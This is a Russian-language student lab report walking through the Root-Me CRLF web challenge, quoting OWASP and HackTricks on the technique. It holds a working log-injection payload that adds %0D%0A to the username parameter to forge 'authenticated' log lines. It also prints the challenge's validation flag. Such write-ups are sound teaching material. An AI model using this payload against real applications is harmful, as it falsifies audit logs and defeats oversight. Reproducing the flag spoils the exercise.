


Задание выполнил студент группы 2345 Романенко Кирилл

1. Выполнить задание <https://www.root-me.org/en/Challenges/Web-Server/CRLF>

 **Root Me**

Authentication v 0.04

Login

Password

Authentication log

```
admin failed to authenticate.  
admin authenticated.  
guest failed to authenticate.
```

Открыл сайт OWASP Top-10 про CRLF: https://owasp.org/www-community/vulnerabilities/CRLF_Injection

Description

The term CRLF refers to **C**arriage **R**eturn (ASCII 13, \r) **L**ine **F**eed (ASCII 10, \n). The termination of a line, however, dealt with differently in today's popular Operating Systems. Windows both the CR and LF are required to note the end of a line, whereas in Linux/Linux-like systems only the LF is required to note the end of a line.

Пробовал подставить в поля ввода данных с паролем admin. Результата не дало.

Authentication v 0.04

Login

Password

connect

Authentication log

```
admin failed to authenticate.  
admin authenticated.  
guest failed to authenticate.  
admin failed to authenticate.  
admin1 failed to authenticate.  
admin \r failed to authenticate.  
admin\r failed to authenticate.  
admin\n failed to authenticate.  
admin \n failed to authenticate.  
admin\r\n failed to authenticate.  
admin \r\n failed to authenticate.  
admin \r \n failed to authenticate.
```

Открыл сайт: <https://book.hacktricks.xyz/pentesting-web/crlf-0d-0a>

Зацепился за ЭТОТ пункт

If an attacker is able to inject the CRLF characters into the HTTP request he is able to change the output stream and fake the log entries. He can change the response from the webs application to something like the below:

```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=ed
```


The %0d and %0a are the url encoded forms of CR and LF. Therefore the log entries would look like this after the attacker inserted those characters and the application displays it:

Ещё раз ввёл данные admin/admin


Authentication v 0.04

Login

Password

В строке адрес:

 <http://challenge01.root-me.org/web-serveur/ch14/?username=admin&password=admin>

Дописал его:

<http://challenge01.root-me.org/web-serveur/ch14/?username=admin> authenticated.%0D%0Aadmin&password=

```
admin failed to authenticate.  
admin failed to authenticate.  
admin authenticated.  
admin failed to authenticate.
```

Well done, you can validate challenge with this password : rFSP&G0p&5uAg1%

Флаг: rFSP&G0p&5uAg1%

Validation

Well done, you won 20 Points

Don't forget to give your opinion on the challenge by voting ;-)



tweet it!

P.S. Ключ к решению – конструкция синего цвета.

!Важно, чтобы логин стоял слева и справа от неё. Одинаковый. Например, guest:

challenge01.root-me.org challenge01.root-me.org/web-seur/ch14/?username=guest authenticated.%0D%0Aguest&password=

Authentication v 0.04

Login

Password

connect

Authentication log

```
admin failed to authenticate.  
admin authenticated.  
guest failed to authenticate.  
admin failed to authenticate.  
admin1 failed to authenticate.  
admin \r failed to authenticate.  
admin\r failed to authenticate.  
admin\n failed to authenticate.  
admin \n failed to authenticate.  
admin\r\n failed to authenticate.  
admin \r\n failed to authenticate.  
admin \r \n failed to authenticate.  
admin failed to authenticate.  
admin  
admin failed to authenticate.  
admin  
admin failed to authenticate.  
admin failed to authenticate.  
admin authenticated.  
admin failed to authenticate.  
guest authenticated.  
guest failed to authenticate.
```

Well done, you can validate challenge with this password : rFSP&G0p&5uAg1%